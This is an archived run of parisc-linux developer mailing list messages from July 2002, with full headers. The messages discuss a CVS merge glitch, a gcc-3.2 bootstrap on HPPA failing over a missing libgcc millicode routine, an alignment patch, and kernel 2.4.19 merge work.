List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15519

On Tue, Jul 16, 2002 at 04:11:28PM +0100, Alan Cox wrote:
> diff -u --new-file --recursive --exclude-from /usr/src/exclude
> linux.vanilla/ar
> --- linux.vanilla/arch/ia64/kernel/perfmon.c    Fri Nov  9 22:26:17 2001
> +++ linux-hppa/arch/ia64/kernel/perfmon.c       Wed Aug 15 18:07:26 2001
> @@ -38,7 +38,7 @@  
>  
>  #ifdef CONFIG_PERFMON
>  
> -#define PFM_VERSION            "0.3"
> +#define PFM_VERSION            "0.2"
>  #define PFM_SMPL_HDR_VERSION   1
>  
>  #define PMU_FIRST_COUNTER      4       /* first generic counter */
> @@ -52,7 +52,6 @@
>  #define PFM_DISABLE            0xa6    /* freeze only */
>  #define PFM_RESTART            0xcf
>  #define PFM_CREATE_CONTEXT     0xa7

looks like a problem in the cvs tree.  paul, could you look at this?
some interesting bits from the log:

----------------------------
revision 1.6
date: 2001/08/15 17:07:26;  author: bame;  state: Exp;  lines: +7 -17
merged 2.4.8 upstream
----------------------------
revision 1.1
date: 2000/03/15 21:02:27;  author: mang;  state: dead;
branches:  1.1.1;  1.1.2;
file perfmon.c was initially added on branch linus.
----------------------------
revision 1.1.2.1
date: 2000/03/15 21:02:27;  author: mang;  state: Exp;  lines: +244 -0
Update the linus branch to Linus' 2.3.99-pre1. 2.4 is right around
the corner.
----------------------------
revision 1.1.1.6
date: 2001/11/28 05:36:30;  author: bame;  state: Exp;  lines: +729 -388
updating branch linus to LINUS_2416


-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gcc-3.2 bootstrap?
Date: Tue, 16 Jul 2002 17:04:00 +0200 (CEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <1026831840.3d3435e0d908a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621528 11014 80.91.229.3 (22 Nov 2014 01:58:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 09:04:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D72A48B3
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 09:04:03 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UTrs-0005nf-00
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 17:04:00 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15520

Hi all,

Exploring another stuff (gcc bootstrap), I found:
http://www-124.ibm.com/developer/opensource/linux/tools/gcc/ia64cross.tar.gz

to build an ia64 xcompiler (which allow also to build a bootstrap)

I just modify to match my develop env and mainly I added --host=hppa-linux (I am
building gcc-3.2 on a b2000) in the configure:
'$GCC_SRC/gcc/configure --prefix=$TOOLS --enable-languages=c --host=hppa-linux'

Should I had to prefer --target=hppa-linux to build a native bootstrap?

Well this produce well a gcc (bootstrap?).

but when I try to use it to compile kernel-2.4.18-pa54 I got following error:
`gcc -print-libgcc-file-name`
/Develop/parisc-linux/src/linux-2.4.18-pa54/arch/parisc/lib/lib.a
/Develop/parisc-linux/src/linux-2.4.18-pa54/lib/lib.a  \
        --end-group \
        -o vmlinux
arch/parisc/kernel/kernel.o(__ksymtab+0x258): undefined reference to `$$mulU'  
make: *** [vmlinux] Error 1

(after a make distclean; make oldconfig)

What is it wrong?

Or would it be better to continue with xcompiler hppa->hppa?

Many thanks for all,
    Joel





-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.[02] alignment problem
Date: Tue, 16 Jul 2002 08:11:18 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020716151118.GC641@tausq.org>
References: <20020716050031.GA641@tausq.org> <20020716122605.GB31977@systemhalted>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621528 11019 80.91.229.3 (22 Nov 2014 01:58:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:48 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 09:08:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A69F48BC
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 09:08:25 -0600 (MDT)
Original-Received: (qmail 23877 invoked from network); 16 Jul 2002 15:08:23 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <carlos@baldric.uwo.ca>; 16 Jul 2002 15:08:23 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id ACA69CE04E; Tue, 16 Jul 2002 08:11:18 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020716122605.GB31977@systemhalted>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15521

> Preprocessed source attached?

I forgot it the first time, tried to send it again, but the source was
too large and it got stopped for moderation...

> Remember we ran into this when building glibc at OLS.... and
> we sat there scratching our heads. I'm pretty sure this was the
> reason for the hppa-align.dpatch that is part of debianzed gcc?

the hppa-align patch is for a different problem aiui, it's so that we
don't do multiple ldcw's on the same cache line. 

in any case, 3.0.4 (which has this patch) gives the same error.

> Randolph: There is a forward email inside the dpatch that says
> you were going to try get this patch upstream... ? :)
> (gcc 3.0.4 ./debian/patches/hppa-align.dpatch)

I've tried, but the gcc folks have put in a different mechanism to do
this, so the patch needs to be reworked, and i haven't gotten back to it
yet.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.19 merge
Date: Tue, 16 Jul 2002 08:17:37 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20020716151737.GD641@tausq.org>
References: <20020714091619.B1E35483A@dsl2.external.hp.com> <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk> <1026743879.30202.5.camel@irongate.swansea.linux.org.uk> <20020715230306.93501485E@dsl2.external.hp.com> <1026779010.31925.44.camel@irongate.swansea.linux.org.uk> <3D335B27.3060808@neuronet.pitt.edu> <1026815479.1688.18.camel@irongate.swansea.linux.org.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621528 11023 80.91.229.3 (22 Nov 2014 01:58:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 09:14:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8E5C48B4
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 09:14:41 -0600 (MDT)
Original-Received: (qmail 8213 invoked from network); 16 Jul 2002 15:14:39 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <parisc-linux@lists.parisc-linux.org>; 16 Jul 2002 15:14:39 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1B932CE04E; Tue, 16 Jul 2002 08:17:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1026815479.1688.18.camel@irongate.swansea.linux.org.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15522

> Thats the easy 90%. The stuff which doesn't overlap other platforms is
> in there so I have a tree that I can point people back to if we get
> breakage from later merges.

Alan, fwiw I'm playing with some arch-specific things that got missed in
the merge so that we can at least get a basic image that builds. Are 
you doing the same, or should we try to get something that will build
and feed that back to you? In any case I have some questions about some
pieces that I'll post here RSN.

> Some of it like the PCI changes is going to be hard.

What's the best way to proceed on this? I can try to merge Grant's
changes into the tree I'm working on and submit a working set (they
don't apply very cleanly directly on the rc1-ac5 tree)

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 bootstrap?
Date: Tue, 16 Jul 2002 11:16:35 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <200207161516.g6GFGZ8C023053@hiauly1.hia.nrc.ca>
References: <1026831840.3d3435e0d908a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621529 11024 80.91.229.3 (22 Nov 2014 01:58:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 09:16:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BBE0489E
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 09:16:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6GFGa00023055;
	Tue, 16 Jul 2002 11:16:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6GFGZ8C023053;
	Tue, 16 Jul 2002 11:16:35 -0400 (EDT)
In-Reply-To: <1026831840.3d3435e0d908a@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jul 16, 2002 05:04:00 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15523

> I just modify to match my develop env and mainly I added --host=hppa-linux (I am
> building gcc-3.2 on a b2000) in the configure:
> '$GCC_SRC/gcc/configure --prefix=$TOOLS --enable-languages=c --host=hppa-linux'
> 
> Should I had to prefer --target=hppa-linux to build a native bootstrap?

That's unnecessary for native build.

> Well this produce well a gcc (bootstrap?).
> 
> but when I try to use it to compile kernel-2.4.18-pa54 I got following error:
> `gcc -print-libgcc-file-name`
> /Develop/parisc-linux/src/linux-2.4.18-pa54/arch/parisc/lib/lib.a
> /Develop/parisc-linux/src/linux-2.4.18-pa54/lib/lib.a  \
>         --end-group \
>         -o vmlinux
> arch/parisc/kernel/kernel.o(__ksymtab+0x258): undefined reference to `$$mulU'  
> make: *** [vmlinux] Error 1
> 
> (after a make distclean; make oldconfig)
> 
> What is it wrong?

Possibilities are:

  1) you either didn't install what you built.
  2) you moved stuff around so libgcc couldn't be found.
  3) libgcc.a didn't build when you built your cross.
  4) linker script didn't link in libgcc.a.

$$mulU is a millicode routine in libgcc.a.

> Or would it be better to continue with xcompiler hppa->hppa?

You are just adding more complication to the process trying to use
ia64.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 9000 D-Class
Date: Tue, 16 Jul 2002 11:15:13 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20020716151513.GA1084@systemhalted>
References: <20020716124902.16005.43182.Mailman@dsl2.external.hp.com> <1026825600.3d341d80904ad@webmail.cefet-al.br> <20020716135158.GC32471@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621529 11028 80.91.229.3 (22 Nov 2014 01:58:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:49 +0000 (UTC)
To: T?rcio Rodrigues Bezerra <tarcio@cefet-al.br>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 09:16:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D4E9489E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Jul 2002 09:16:57 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17UU2j-0000IN-00; Tue, 16 Jul 2002 11:15:13 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	T?rcio Rodrigues Bezerra <tarcio@cefet-al.br>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020716135158.GC32471@systemhalted>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (84% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15524

> > Thanks in advance.
> > -- 
> > T?rcio R. Bezerra
> > Gerente de Tecnologia da Informa??o
> > Centro Federal de Educa??o Tecnol?gica de Alagoas
> 
> You can check out the current hardware database:
> http://hwdb.parisc-linux.org/
> 
> In particular:
> http://hwdb.parisc-linux.org/view.php3?type=machine&name=720
> 
> It looks happily supported :)
>

My mistake, you are looking to see if you D-Class is supported :}
I think D-Class is partially supported... 

The hardware database will still be a good place to look.
And there are some people listed as owning some D-Class systems.

c.


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 bootstrap?
Date: Tue, 16 Jul 2002 18:03:29 +0200 (CEST)
Lines: 39
Approved: news@gmane.org
Message-ID: <1026835409.3d3443d1d1cbd@webmail.tiscalinet.be>
References: <200207161516.g6GFGZ8C023053@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621529 11032 80.91.229.3 (22 Nov 2014 01:58:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:49 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 10:03:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 016ED4899
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 10:03:33 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17UUnR-000205-00; Tue, 16 Jul 2002 18:03:29 +0200
In-Reply-To: <200207161516.g6GFGZ8C023053@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15525

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> 
> Possibilities are:
> 
>   1) you either didn't install what you built.
>   2) you moved stuff around so libgcc couldn't be found.
>   3) libgcc.a didn't build when you built your cross.
>   4) linker script didn't link in libgcc.a.
> 
> $$mulU is a millicode routine in libgcc.a.

Humm?
In the debian package gcc-3.0 I found this lib and
strings /usr/lib/gcc-lib/hppa-linux/3.0.4/libgcc.a | grep mulU
show me well two entries.
but in ./native/lib/gcc-lib/hppa-linux/3.2 (as well in ./cross) I do not found
anything like this.
So this is a 5th possibility: the procedure used failled to build correctly this
lib (at least?)

> 
> > Or would it be better to continue with xcompiler hppa->hppa?
> 
> You are just adding more complication to the process trying to use
> ia64.

Oops I wrongly explain (sorry for confusion): I do not use ia64, I just use this
procedure as a model.
I change just enough to run it on my hppa-linux box (a b2000 here) but without
success :(. I still have a lot to learn.

Thanks for info,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 bootstrap?
Date: Tue, 16 Jul 2002 09:13:35 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20020716161335.GL8724@tausq.org>
References: <1026831840.3d3435e0d908a@webmail.tiscalinet.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621530 11037 80.91.229.3 (22 Nov 2014 01:58:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 10:10:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA94F48A2
	for <parisc-linux@parisc-linux.org>; Tue, 16 Jul 2002 10:10:15 -0600 (MDT)
Original-Received: (qmail 15197 invoked from network); 16 Jul 2002 16:10:14 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 16 Jul 2002 16:10:14 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id F3571CE04E; Tue, 16 Jul 2002 09:13:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1026831840.3d3435e0d908a@webmail.tiscalinet.be>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15526

> I just modify to match my develop env and mainly I added --host=hppa-linux (I am
> building gcc-3.2 on a b2000) in the configure:
> '$GCC_SRC/gcc/configure --prefix=$TOOLS --enable-languages=c --host=hppa-linux'

fwiw i use something like this:

~/src/gcc-3.2/configure --prefix=/home/tausq/opt/gnu --host=hppa-linux --build=hppa-linux --target=hppa-linux --enable-shared --disable-nls --enable-languages=c

if building hppa64-linux compilers, use --target=hppa64-linux instead.

then i do 'make bootstrap-lean' and then 'make install', set my PATH to
include /home/tausq/opt/gnu/bin, run 'gcc -v' to make sure i have the 
right version in my path, and then build the kernel.

alternatively, if i were building a cross-compiler (say
hppa-linux->hppa64-linux), i would just do 'make' instead of 'make
bootstrap-lean'

hth,
randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 bootstrap?
Date: Tue, 16 Jul 2002 18:39:13 +0200 (CEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <1026837553.3d344c317f66f@webmail.tiscalinet.be>
References: <1026831840.3d3435e0d908a@webmail.tiscalinet.be> <20020716161335.GL8724@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621530 11038 80.91.229.3 (22 Nov 2014 01:58:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:50 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 16 10:39:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
